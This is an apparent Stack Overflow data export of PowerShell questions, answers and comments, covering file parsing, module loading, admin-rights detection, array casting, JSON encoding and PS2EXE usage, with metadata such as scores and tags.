has body: You can split the 'server' and 'IP', creating an array. Every even locations in the array will be the IP. Every odd locations in the array will be the server names. location 0 will always be empty, so we can skip it. We can utilize "For" command for the iitiration and setting our counter. Working Example: In my example I used the Command Prompt's Ping command. But, Powershell have its own command "Test-Connection"; Consider using it instead. $File = 'C:\Users\BaTarrY\Documents\Test\file01.txt' $Text = ((Get-Content -Path $File -Force -Raw) -replace "\s",'').trim()` -split 'server:' -split 'IP:' $Size = $Text.Count for ( $pos = 1; $pos -lt $Size; $pos+=2){ $Server = $Text[($pos)] $IP = $Text[$pos+1] Write-Output -InputObject "Pinging Server $server[$IP]:" $Ping = & cmd.exe /c "Ping $IP" *>&1 | Out-String Write-Output -InputObject "$Ping`n" } Result: Pinging Server server01[127.0.0.1]: Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms Pinging Server server02[127.0.0.1]: Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
type: Answer

http://stackoverflow.com/comment/139997540
has text: Probably not using the right verbiage, but what I ended up with has multi dimensions (as in x and y, or a grid as you put it). Hopefully your comment helps others with understanding what is going on here though.
comment on: http://stackoverflow.com/q/79385371
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140003272
type: AnswerComment
has text: Thank you for reopening and providing this answer. Now, I am running into a new issue. The `vtune` line certainly now runs after your suggestion. However, one property of the `vtune` app is that as it is profiling my `CMakeProject.exe` app, if I terminate the app prematurely by `CtrlC`, `vtune` still continues to function and provides a profile of the app until it was terminated. Now, however, from within the powershell, this gives an error "The terminal process powershell.exe exited with exit code 259". vtune does not complete. The last two and a half lines of the batch file do not run.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79388711

http://stackoverflow.com/comment/140027257
has text: So I implemented this today, and it isn't working against start-process. I have confirmed that I am passing start-process a hashtable, and the values and argument names are correct. The error is simply `Cannot find file`. But when I write-host the contents of .filepath, and put that into a cmd prompt, it runs just fine. And this is without .argumentlist being set.
type: Comment
comment on: http://stackoverflow.com/a/79397850
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139787638
score: 0
has text: @TangentiallyPerpendicular it was indeed a typo, I have corrected it now
comment on: http://stackoverflow.com/q/79272508
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79338576
has comment: http://stackoverflow.com/comment/139910563
has comment: http://stackoverflow.com/comment/139909006
linked to: http://stackoverflow.com/q/28740320
has comment: http://stackoverflow.com/comment/139908904
has body: Recently I moved my &gt;~2K lines ps1 main script with many functions and variables to PowerShell module. Everything seems to be fine - after import module I can call my function and its running fine. What I noticed is slow loading my module before its fully ready. I use for that simple command: Import-Module -Name .\TestModule -Verbose -Force then whole module is loading but for me its much more slower than, I had before (in one ps1 script). Structure of my module is like on this simple screen: In main dir I have 2 Files: PSD1 &amp; PSM1, and 1 dir (Public) with many dirs inside where are all of my functions are catalogued thematically in subdirs. In PSD1 file I use simple code for add my Functions: &gt; FunctionsToExport = '*' and in PSM1 file I use this query to find all PS1 Files: &gt; ForEach ($Script in (Get-ChildItem -File -Recurse -LiteralPath $PSScriptRoot -Filter *.ps1) ) { . $Script.FullName } Like I wrote import module with my functions works, but before I can do anything next, I have to wait in my opinion quite long time. So is this method can be improved to fasten it? 2. My second question is about variables. Now I have it in ps1 what is also loaded from dir: Public\Variables\MainVariables.ps1. Its good method to store all my var's there?
type: Question
downvote count: 0
answer count: 1
tagged with: module
has answer: http://stackoverflow.com/a/79343142
has comment: http://stackoverflow.com/comment/139910599
has comment: http://stackoverflow.com/comment/139908918
has comment: http://stackoverflow.com/comment/139911057
tagged with: powershell
has title: What is best practice to speed up PowerShell Module import?
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/79410051
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140044642
upvote count: 1
has comment: http://stackoverflow.com/comment/140044833
tagged with: powershell
has comment: http://stackoverflow.com/comment/140044595
tagged with: elevation
has answer: http://stackoverflow.com/a/79416356
favorite count: 0
accepted answer: http://stackoverflow.com/a/79416356
score: 1
tagged with: administrator
has body: I have tried various solutions online (some not very clear on whether they are for detecting script being elevated, as opposed to script running under a user that doesn't need to supply creds to UAC to elevate). Like the below. They show false when running under a domain admin account, not elevated. Likewise (obviously) a domain account without any admin rights. They both show true when running elevated though. PS C:\Users\xxxxxxxxx.adm&gt; (new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator) PS C:\Users\xxxxxxxxx.adm&gt; (([security.principal.windowsidentity]::getcurrent().groups).value -contains 'S-1-5-32-544') How can I achieve the check needed? Note: In my environment, helpdesk admin privileges are provided by a double nested group, not domain admins, added to the adminstrator group on the workstations.
linked to: http://stackoverflow.com/q/53912463
has comment: http://stackoverflow.com/comment/140044773
has comment: http://stackoverflow.com/comment/140044771
has comment: http://stackoverflow.com/comment/140048246
has comment: http://stackoverflow.com/comment/140044733
type: Question
has comment: http://stackoverflow.com/comment/140044619
downvote count: 0
has comment: http://stackoverflow.com/comment/140044611
has title: How to determine if user has admin rights, but script not running elevated
answer count: 1
has comment: http://stackoverflow.com/comment/140048222
has comment: http://stackoverflow.com/comment/140044668

http://stackoverflow.com/q/79333742
answer count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/38269209
downvote count: 0
has title: Powershell Get-ChildItem: how to get everything with a given BaseName, both Files and Folders?
tagged with: powershell
has answer: http://stackoverflow.com/a/79333796
accepted answer: http://stackoverflow.com/a/79333796
score: 1
upvote count: 1
favorite count: 0
tagged with: get-childitem
tagged with: windows
type: Question
has body: I have this directory/file structure: S:\My Folder\BaseName 1\ S:\My Folder\BaseName 1\BaseName 1 1.lnk S:\My Folder\BaseName 1\BaseName 1 1.txt S:\My Folder\BaseName 1.lnk S:\My Folder\BaseName 1.txt S:\My Folder\BaseName 2\ S:\My Folder\BaseName 2\BaseName 2 1.lnk S:\My Folder\BaseName 2\BaseName 2 1.txt S:\My Folder\BaseName 2.lnk S:\My Folder\BaseName 2.txt I have a script that seeks for *.lnk files in directorys and then should handle any other file/folder with the same BaseName of the *.lnk found. When the script parses *S:\My Folder* it finds BaseName 1.lnk and BaseName 2.lnk Now I need to find all the child-items in S:\My Folder (and only there, not in the subfolders) with the same BaseNames, so I need to find both the BaseName 1 folder and the BaseName 1.txt file. But i'm unable to do it: Get-ChildItem -Path ".\BaseName 1" -exclude *.lnk returns the content of the directory BaseName 1, which i don't want. Get-ChildItem -Path ".\BaseName 1*" -exclude *.lnk returns only BaseName 1.txt and the content of the directory BaseName 1, which i don't want. Get-ChildItem -Path ".\BaseName 1.*" -exclude *.lnk returns only BaseName 1.txt but not the directory BaseName 1, which i need. Get-ChildItem -Path "." -include "BaseName 1" -exclude *.lnk -recurse returns only the the directory BaseName 1, but not the BaseName 1.txt file Get-ChildItem -Path "." -include "BaseName 1*" -exclude *.lnk -recurse returns everything, but again, i don't want the content of the directory BaseName 1 What should i do?

http://stackoverflow.com/comment/139769879
has text: The short answer is "whenever you use `.` or `|`"
type: Comment
comment on: http://stackoverflow.com/q/79262609
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139994632
has text: It's the opposite: ISE auto-load stuff that is not automatically loaded in regular console. Thus stuff acts different. Console is the standard. ISE doesn't follow standard. Thus ISE is broken.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79383869
score: 1

connection
tags question: http://stackoverflow.com/q/79277716
tag name: connection
type: Tag

http://stackoverflow.com/comment/140027345
type: Comment
comment on: http://stackoverflow.com/a/79397850
score: 0
type: AnswerComment
has text: @user66001, I don't see an error message there. Also note that if your executable is a _batch file_, you don't need `Start-Process` at all: use `& $Path $Installs[$i].Path`. See [this answer](https://stackoverflow.com/a/51334633/45375) for background information.

http://stackoverflow.com/q/79340443
tagged with: executionpolicy
type: Question
has body: This command extracts the archive when running it directly in PowerShell 7.5.0-rc.1: Expand-Archive -path .\test.zip -DestinationPath . But running it via a Deno script: new Deno.Command("PowerShell", { args: ["Expand-Archive -path ./test.zip -DestinationPath ."], }).spawn(); yields this error: Expand-Archive : The 'Expand-Archive' command was found in the module 'Microsoft.PowerShell.Archive', but the module could not be loaded. For more information, run 'Import-Module Microsoft.PowerShell.Archive'. At line:1 char:1 + Expand-Archive -path ./test.zip -DestinationPath . + ~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound : (Expand-Archive:String) [], CommandNot FoundException + FullyQualifiedErrorId : CouldNotAutolo adMatchingModule I then run this script: new Deno.Command("PowerShell", { args: ["Import-Module Microsoft.PowerShell.Archive"], }).spawn(); new Deno.Command("PowerShell", { args: ["Expand-Archive -path ./test.zip -DestinationPath ."], }).spawn(); and it yields this error: Import-Module : File C:\program files\powersh ell\7-preview\Modules\Microsoft.PowerShell.Ar chive\Microsoft.PowerShell.Archive.psm1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170 . At line:1 char:1 + Import-Module Microsoft.PowerShell.Archive + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [Import-Module], PSSecurityExceptio n + FullyQualifiedErrorId : UnauthorizedAc cess,Microsoft.PowerShell.Commands.Impor tModuleCommand Expand-Archive : The 'Expand-Archive' command was found in the module 'Microsoft.PowerShell.Archive', but the module could not be loaded. For more information, run 'Import-Module Microsoft.PowerShell.Archive'. At line:1 char:1 + Expand-Archive -path ./test.zip -DestinationPath . + ~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound : (Expand-Archive:String) [], CommandNot FoundException + FullyQualifiedErrorId : CouldNotAutol…
tagged with: powershell
tagged with: deno
linked to: http://stackoverflow.com/q/4037939
answer count: 1
has title: Module cannot be loaded on non-ps1 script
type: AnsweredQuestion
downvote count: 1
accepted answer: http://stackoverflow.com/a/79340490
score: 0
has answer: http://stackoverflow.com/a/79340490
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/140033260
score: 0
comment on: http://stackoverflow.com/a/79403390
has text: @SantiagoSquarzon: I had assumed that using `.AddScript()` behaves like the `-Command` CLI parameter and translates any nonzero exit code into `1`, but I now see that's not the case. However, there are still good reasons to prefer `.AddCommand()`: See the footnote I've just added to the answer.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140084960
type: QuestionComment
has text: Fan-out sometimes doesn't favour having all the data written in a single database transaction; not even during fan-in. Often it's used for long-running operations, meaning that your algorithm needs to cope with the datastore having other commits inbetween your fan-out and fan-in happening. So, you can design compensating actions: a partial commit from one activity is then mitigated by another action. E.g. at fan-in you could collect any partial commits and perform an operation to undo them. If you can describe your use-case, maybe someone can recommend a pattern :-)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79345015

http://stackoverflow.com/comment/139791658
comment on: http://stackoverflow.com/q/79274648
has text: [Get-NetFirewallRule](https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule) ??
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139984562
comment on: http://stackoverflow.com/q/79378728
type: QuestionComment
type: Comment
has text: $servers should wind up an array of strings like `'server1','server2','server3'`
score: 0

http://stackoverflow.com/comment/140018126
has text: in what cases there is double renaming? I don't think it ever happened to me.
type: Comment
comment on: http://stackoverflow.com/a/79396362
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139988686
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79381065
has text: Was this generated by chat gpt?

http://stackoverflow.com/comment/140018797
type: Comment
score: 0
has text: see https://stackoverflow.com/questions/74103581/why-is-error-410-a-user-error-and-not-a-server-error
type: QuestionComment
comment on: http://stackoverflow.com/q/79396584

http://stackoverflow.com/comment/140033066
has text: Right, but the other is a property of the array. So why doesn't the breadcrumb show the array name and then the property name?
type: QuestionComment
comment on: http://stackoverflow.com/q/79401137
type: Comment
score: 0

http://stackoverflow.com/comment/139955721
type: Comment
score: 0
type: AnswerComment
has text: @Dipo your update belongs to a new question. Only thing I can't is that you're missing a `,` after `+=`.
comment on: http://stackoverflow.com/a/79363023

http://stackoverflow.com/comment/139884332
score: 0
has text: ok......i have used in memory but then the upload and download fucntions dont work in powershell...any other approach you suggest?
comment on: http://stackoverflow.com/q/79325726
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79381754
has answer: http://stackoverflow.com/a/79400335
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/140021373
answer count: 1
type: AnsweredQuestion
tagged with: unicode
has comment: http://stackoverflow.com/comment/139989919
linked to: http://stackoverflow.com/q/78580692
has comment: http://stackoverflow.com/comment/139990033
has comment: http://stackoverflow.com/comment/140021378
has title: How can I make sure Powershell will correctly render all non-latin characters into the output?
upvote count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/json
has body: I'm trying to reduce the size of a jsonl file by removing irrelevant information. The jsonl file is a wiktionary download. I'm interested only in those entries which are personal names (i.e. first names and last names). You can download the file (it's 1.3 gb) here: wiktionary The issue is that many of the entries are both. For example France is the name of a place, and can also be the name of a country. So I need to bring in the file, and output it with the irrelevant info removed. However, despite me using $json | ConvertTo-Json -Compress | Out-File -Append -FilePath $outputFile -Encoding utf8 it does not render all the characters properly - it turns them into /u0000 or just does them wrong. The input is from wiktionary so has every script from every language you could think of. How can I either change this script to make it render all the chars perfectly? Alternatively how can I make it just delete things from the original file, while leaving what doesn't need to be deleted untouched instead of re-rendering it? # Initialize the output file New-Item -Path $outputFile -ItemType File -Force # Read the input file line by line Get-Content $inputFile | ForEach-Object { # Parse the JSON content try { $json = $_ | ConvertFrom-Json } catch { Write-Host "Failed to parse JSON: $_" return } # Filter the senses $filteredSenses = $json.senses | Where-Object { foreach ($link in $_.links) { if ($link[0] -eq "given name" -or $link[0] -eq "surname") { return $true } } return $false } # If there are filtered senses, update the JSON object and write to the output file if ($filteredSenses) { $json.senses = $filteredSenses $json | ConvertTo-Json -Compress | Out-File -Append -FilePath $outputFile -Encoding utf8 } } Write-Host "Filtered data has been written to $outputFile"
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/79400335

http://stackoverflow.com/a/79304237
answers question: http://stackoverflow.com/q/79304187
accepted answer of: http://stackoverflow.com/q/79304187
type: AcceptedAnswer
has body: Re case 1: Replace: if ($Predicate.Invoke($Item)) { return $item } with: if (& $Predicate $item) { , $item } Your primary problem was that the .Invoke() method expects an array of arguments, and if you want to pass what happens to be an array as a single argument, you'd have to wrap that argument in a single-element helper array. However, using &, the call operator, to invoke your script block with argument(s) makes this unnecessary, and using & is generally preferable in PowerShell code. A secondary problem was the use of return inside your foreach block, which would have stopped processing after finding one match. Omitting return solves that problem in principle but note that if $item by itself were sent to the success output stream, it would be subject to auto-enumeration and would output the elements of each matching nested array one by one. The use of the unary form of , the array-constructor ("comma") operator in effect prevents this. A conceptually clearer, but slower alternative is to use Write-Output -NoEnumerate $item. See this answer for background information. The reason that case 2 works is that using your $Data array as pipeline input causes its enumeration, so that the elements - which are nested arrays in your case - are passed one by one to Where-Object, so that the automatic $_ variable in the script block properly refers to each nested array.
type: Answer
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/79314201
tagged with: powershell
has title: can not cast/convert a string array `string[]` to an object array `object[]` but I can for all other types in powershell
has comment: http://stackoverflow.com/comment/139863003
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79314603
has comment: http://stackoverflow.com/comment/139862734
has answer: http://stackoverflow.com/a/79314603
favorite count: 0
type: Question
upvote count: 4
has body: For some reason powershell will not let me cast a string[] into an object[] but it will for all other types. The example below shows it working for several types except string. [int[]]$intary = 2,4 [char[]]$chrary = 'a','b' [bool[]]$booary = $true,$false [DateTime[]]$datary = (Get-Date),(Get-Date) [string[]]$strary = 'c','d' $splary = 'e,f' -split ',' # -split returns [string[]] type specifically [object[]]$objaryi = @() [object[]]$objaryc = @() [object[]]$objaryb = @() [object[]]$objaryd = @() [object[]]$objarys = @() [object[]]$objarysp = @() $intary.GetType() # Int32[] $chrary.GetType() # Char[] $booary.GetType() # Boolean[] $datary.GetType() # DateTime[] $strary.GetType() # String[] $splary.GetType() # String[] $objaryi.GetType() # Object[] 'conversions' $objaryi = $intary # Int32[] converted to Object[] $objaryi.GetType() # Object[] $objaryc = $chrary # Char[] converted to Object[] $objaryc.GetType() # Object[] $objaryb = $booary # Boolean[] converted to Object[] $objaryb.GetType() # Object[] $objaryd = $datary # DateTime[] converted to Object[] $objaryd.GetType() # Object[] $objarys = $strary # NOT converted to Object[]; instead changes type of $objarys to String[] $objarys.GetType() # String[] $objarysp = $splary # NOT converted to Object[]; instead changes type of $objarysp to String[] $objarysp.GetType() # String[] $objarys = @($strary) # the array subexpression operator @() DOES convert to Object[] $objarys.GetType() # Object[] $objarysp = @($splary) # the array subexpression operator @() DOES convert to Object[] $objarysp.GetType() # Object[] 'inline cast' $objarys = @([string[]]@(1,2)) # the array subexpression operator @() does not work on an inline cast [1] $objarys.GetType() # String[] One reason it matters, is that if you try to store a hash in an array that's typed string[] powershell will silently convert your hash definition to a string. The string is the sting for the full path typename of the hash. $objaryi[0] = @{a=1;b=2} # can hold a hashtable…
score: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/139862977
answer count: 1
tagged with: casting
has comment: http://stackoverflow.com/comment/139862755

http://stackoverflow.com/comment/140023736
comment on: http://stackoverflow.com/q/79391387
type: QuestionComment
type: Comment
score: 0
has text: Are you trying to search the mailbox from an Exchange server or from the client (Outlook on the local machine)?

http://stackoverflow.com/comment/140008423
has text: the indentation and inputs for the `AzurePowerShell@5` task look wrong, hard to infer if this is a copy/paste error or if you're got the wrong approach
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79391481
type: QuestionComment

http://stackoverflow.com/a/79286523
type: Answer
answers question: http://stackoverflow.com/q/79286415
has body: As per my example in the comments, but without the need to make modifications: %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command^ "$shortcutPath = \"S:\Libraries\Desktop\OutboundOFF.lnk\";"^ "$iconPath = \"C:\Windows\System32\Customization\Icons\OBOFF.ico\";"^ "$WsShell = New-Object -ComObject WScript.Shell;"^ "$shortcut = $WsShell.CreateShortcut($shortcutPath);"^ "$shortcut.IconLocation = $iconPath;"^ "$shortcut.Save()" You can also play around with the number of spaces either side of the first doublequote on line two onwards. The only requirement is that there must be at least one before it.
score: 0

http://stackoverflow.com/comment/139881732
score: 0
comment on: http://stackoverflow.com/q/79324508
has text: Oh, really! Ha-ha. Thanks a lot! I've complicated everything digging into ```$MyInvocation, Get-Command -Name $MyInvocation.MyCommand, Get-PSCallStack $MyInvocation.BoundParameters.Values, $PSCmdlet.MyInvocation.InvocationName, $ParameterList = (Get-Command -Name $MyInvocation.MyCommand).Parameters, $ParameterList["Variable"].Attributes.ValidValues ```
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139982343
has text: Question, instead of trying to clean all your python. DId you consider using virtual environment (like conda, or any other virtual environment manager out there)? You can work isolated with a bunch of different python versions with a virtual environment approach without any issues
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79377427

http://stackoverflow.com/a/79299725
has comment: http://stackoverflow.com/comment/139841930
has body: PS2EXE as well as its GUI front-end, Win-PS2EXE, are designed to work only with Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), and not also with PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition), at least as of this writing. The compiled executables require a compatible Windows PowerShell version to be present at runtime, because the executable isn't fully self-contained. In that sense, building on Windows PowerShell only has one advantage: The latter is guaranteed to be present on target machines, unlike PowerShell (Core) 7. If you can assume the presence of PowerShell (Core) 7 on all machines where your executable must run, there is an - inefficient - workaround: From the script you're compiling, make a call to pwsh.exe, the PowerShell (Core) 7 CLI, passing the code to execute via a script block, as shown below. This invariably slows execution down, due to the overhead of creating another child process. The sample script below assumes that pwsh.exe is discoverable via $env:PATH, and therefore uses the file name only. If this is not the case or you want to hard-code the executable's path for predictability, use the full path, and invoke it via the call operator; e.g., to launch a winget-installed copy: & $env:LOCALAPPDATA\Microsoft\WindowsApps\pwsh.exe ... Note that even though execution of a script file is not involved, CLI parameter -ExecutionPolicy Bypass is passed in order to unconditionally enable execution script execution, because execution of files subject to the effective execution policies may still be involved indirectly, given that not only *.ps1 files, but also script modules (*.psm1) as well as formatting- and type-definition files are subject to the execution policy. However, note that a GPO (Group Policy Object)-mandated execution policy may override this. See this answer for details. -NoProfile is passed in order to suppress profile loading, whi…
type: Answer
has comment: http://stackoverflow.com/comment/139843401
downvote count: 0
answers question: http://stackoverflow.com/q/79299022
score: 3
upvote count: 3

http://stackoverflow.com/comment/139870730
type: AnswerComment
comment on: http://stackoverflow.com/a/79312282
type: Comment
has text: Just to provide some framing for future readers: This is an alternative, [XPath](https://en.wikipedia.org/wiki/XPath)-based solution that _bypasses_ the OP's problem with PowerShell's property-based XML DOM adaptation.
score: 0

http://stackoverflow.com/comment/139741634
has text: I quess, it has to do with different (OS) line terminitions where `Get-Content` reads multiple (or all) lines as one item. What returns: `$file1.Count` in either case?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79246610

http://stackoverflow.com/comment/140013305
score: 0
has text: but " subprocess of System" is what I could never reproduce.
type: AnswerComment
comment on: http://stackoverflow.com/a/79375356
type: Comment

http://stackoverflow.com/comment/139884429
comment on: http://stackoverflow.com/q/79325726
has text: Also you can use Azure CLI to work in this scenario. @user3276487
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140044668
type: QuestionComment
type: Comment
score: 0
has text: @mklement0 False in every example (powershell running as standard user, powershell running with run as another user (using an account double nested in the local administrator group), and ALSO an elevated Powershell window). This is what I get in the elevated powershell window `$up.getgroups().sid.value S-1-5-21-1118092480-344548890-330278064-513 S-1-5-21-1118092480-344548890-330278064-8442 PS C:\WINDOWS\system32> whoami <company domain>\xxxxxxxxxxxxx.adm`
comment on: http://stackoverflow.com/q/79410051

http://stackoverflow.com/comment/139984962
type: Comment
comment on: http://stackoverflow.com/q/79378728
type: QuestionComment
score: 2
has text: If not all of the above, please [edit] your post and show us a few lines of that text file

http://stackoverflow.com/comment/139823025
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79291780
has text: Also, if you are starting in pwsh.exe and really need to run in ps v5 you can do `$process = powershell.exe -NoProfile c:\config.ps1 -val1 "1234" -val2 "12.089"`
type: QuestionComment

http://stackoverflow.com/comment/139884911
type: QuestionComment
type: Comment
score: 0
has text: We cannot store the files in the local path when working on the cloud.. I would need to use a temporary file in the storage container ...but i am struggling to use the Azure.storage.Blobs module to be imported...Any idea how to install the module and import the module in Azure automation runbook...i have tried ways to doit..
comment on: http://stackoverflow.com/q/79325726

http://stackoverflow.com/comment/140016453
comment on: http://stackoverflow.com/q/79395563
type: Comment
score: 0
has text: Oh, thanks for bringing up that valuable point about potentially faster performance using "native" .NET methods like `[System.IO.Directory]::EnumerateFiles()` compared to cmdlets like `Get-ChildItem`.
type: QuestionComment

http://stackoverflow.com/comment/139884042
has text: Thats right..I am uploading the powershell script which works when i run via VSCode on my local machine...but stops working when i upload to Azure automation runbook
score: 1
comment on: http://stackoverflow.com/q/79325726
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79363713
accepted answer of: http://stackoverflow.com/q/79363438
type: AcceptedAnswer
downvote count: 0
has body: PDF does not generally include the text "PDF/A" in its MetaData unless the writer placed such a string. Several PDF tools may try to find tags in the INFO or XMP but often cannot seek XML found due to PDF encoded compression or encryption. The PDF MetaData indicator for PDF/A is the "pdfaid:part" level and "pdfaid:conformance" (Not Conformance Level) of that. and ExifTool can seek the Tags for those keywords. For a ZUGFeRD-invoice 3A it could be: pdfaid:conformance="A" pdfaid:part="3" exiftool -a -U -g1 test_pdfa3a.pdf |FindStr "Part" should return Part : 3 and |FindStr "Conformance" Conformance : A Note this is not a guarantee simply tags showing intent that may be tested for conformance at that Level. To then test a folder of such candidates we can run a verifier such as PDF/A consortiums VeraPDF checker. For a simpler test using verapdf.bat in your programming call it as a console command with a folder name. verapdf.bat --loglevel 0 --format text ..\..\*.pdf | find "PASS" Result should be something like: PASS C:\Users\Verify\Vera\rel\..\..\ave-pdf-verified1b.pdf PASS C:\Users\Verify\Vera\rel\..\..\deft-verified3b.pdf PASS C:\Users\Verify\Vera\rel\..\..\pdf-24-verified2b.pdf PASS C:\Users\Verify\Vera\rel\..\..\pdf-creator-verified_pdfA1b no icc.pdf NOTE: it does not change the filenames NOR like this show conformance number as I named those to keep track if which ones may be verifiable. Without | find pass there would be other results such as C:\Users\Verify\Vera\rel\..\..\bad Aspose-Repair_verified1b.pdf does not appear to be a valid PDF file and could not be parsed. C:\Users\Verify\Vera\rel\..\..\bad documentize-verified1b.pdf does not appear to be a valid PDF file and could not be parsed. C:\Users\Verify\Vera\rel\..\..\bad xodo-verified1b.pdf does not appear to be a valid PDF file and could not be parsed. FAIL C:\Users\Verify\Vera\rel\..\..\barcode.pdf FAIL C:\Users\Verify\Vera\rel\..\..\Boris-Doubrov-WCAG-or-PDF.pdf
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79363438

http://stackoverflow.com/comment/139756941
score: 1
comment on: http://stackoverflow.com/q/79255391
type: QuestionComment
type: Comment
has text: This is the command I use to launch another Java app in elevated mode via powershell: `"powershell.exe Start-Process -verb RunAs java.exe -ArgumentList " + argList + " -Wait"`, so I guess it's the tag `RunAs` that you need to add.

http://stackoverflow.com/comment/139884315
type: QuestionComment
comment on: http://stackoverflow.com/q/79326018
type: Comment
has text: Are you getting any errors?
score: 2

http://stackoverflow.com/a/79322273
has body: The actual security issue with your script is that you put a plaintext secret in a variable (aka a property of an object). The script analyzer is not able to detect that directly as there is no way to determine a string that contains a secret or any other usual string. The only way to do this is with some indirect evidence as e.g. a the name of a parameter that might suggest it contains a password (AvoidUsingPlainTextForPassword) or as in your example where you trying to secure the string after it could already potentially be compromised. If there isn't any other way for you to retrieve the plaintext token ($Response.access_token), simply using the command ConvertTo-SecureString -AsPlainText -Force is probably the best option to continue with from the already insecure situation. For this you might just suppress the PSScriptAnalyzer rule by adding the following lines to the top of your script: [Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidUsingConvertToSecureStringWithPlainText', '')] param() But as indicated, it is better to completely avoid any conversion from or to a SecureString type: The general approach of dealing with credentials is to avoid them and instead rely on other means to authenticate, such as certificates or Windows authentication.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/79320755

http://stackoverflow.com/q/79257776
linked to: http://stackoverflow.com/q/60708578
has answer: http://stackoverflow.com/a/79257932
answer count: 1
has title: Returning Array of hashtables in Powershell
has body: I have a Powershell function that returns an array of hashtables. If the function returns a single entry in the array, then I get some odd behaviour, is this expected? For context: I'm a C# developer, so I'm expecting the return type to be consistent, regardless of the quantity of results :-) Powershell Version: 5.1 on Windows 11 function GetArrayOfHashtable { param([string] $name, [int]$count) $result = @() for ($i = 0; $i -lt $count; $i++) { $h = @{ name = $name id=$i+1 } $result += $h } return $result } $one = GetArrayOfHashtable "one" 1 $two = GetArrayOfHashtable "two" 2 $three = GetArrayOfHashtable "three" 3 Write-Host $one.gettype() # 'System.Collections.Hashtable' <--??? Write-Host $two.gettype() # 'System.Object[]' Write-Host $three.gettype() # 'System.Object[]' Write-Host $three[0].name $three[0].id # 'three 1' Write-Host $two[0].name $two[0].id # 'two 1' Write-Host $one[0].name $one[0].id # '' Update (for completeness) I can work around the issue by encapsulating the array of hashtables in another hashtable: function GetArrayOfHashtable { param([string] $name, [int]$count) $result = @() for ($i = 0; $i -lt $count; $i++) { $h = @{ name = $name id=$i+1 } $result += $h } return @{data =$result} # NOTE: solution is to hold the result in a hashtable } $one = GetArrayOfHashtable "one" 1 $two = GetArrayOfHashtable "two" 2 $three = GetArrayOfHashtable "three" 3 Write-Host $one.data.gettype() # 'System.Object[]' Write-Host $two.data.gettype() # 'System.Object[]' Write-Host $three.data.gettype() # 'System.Object[]' Write-Host $three.data[0].name $three.data[0].id # 'three 1' Write-Host $two.data[0].name $two.data[0].id # 'two 1' Write-Host $one.data[0].name $one.data[0].id # 'one 1'
tagged with: powershell
linked to: http://stackoverflow.com/q/57478715
has comment: http://stackoverflow.com/comment/139761364
has comment: http://stackoverflow.com/comment/139761131
upvote count: 1
duplicate of: http://stackoverflow.com/q/62488043
type: UnansweredQuestion
score: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/59341745
has comment: http://stackoverflow.com/comment/139761660
has comment: http://stackoverflow.com/comment/139761205
linked to: http://stackoverflow.com/q/62488043
type: Question
downvote count: 0

http://stackoverflow.com/a/79337636
score: 1
upvote count: 1
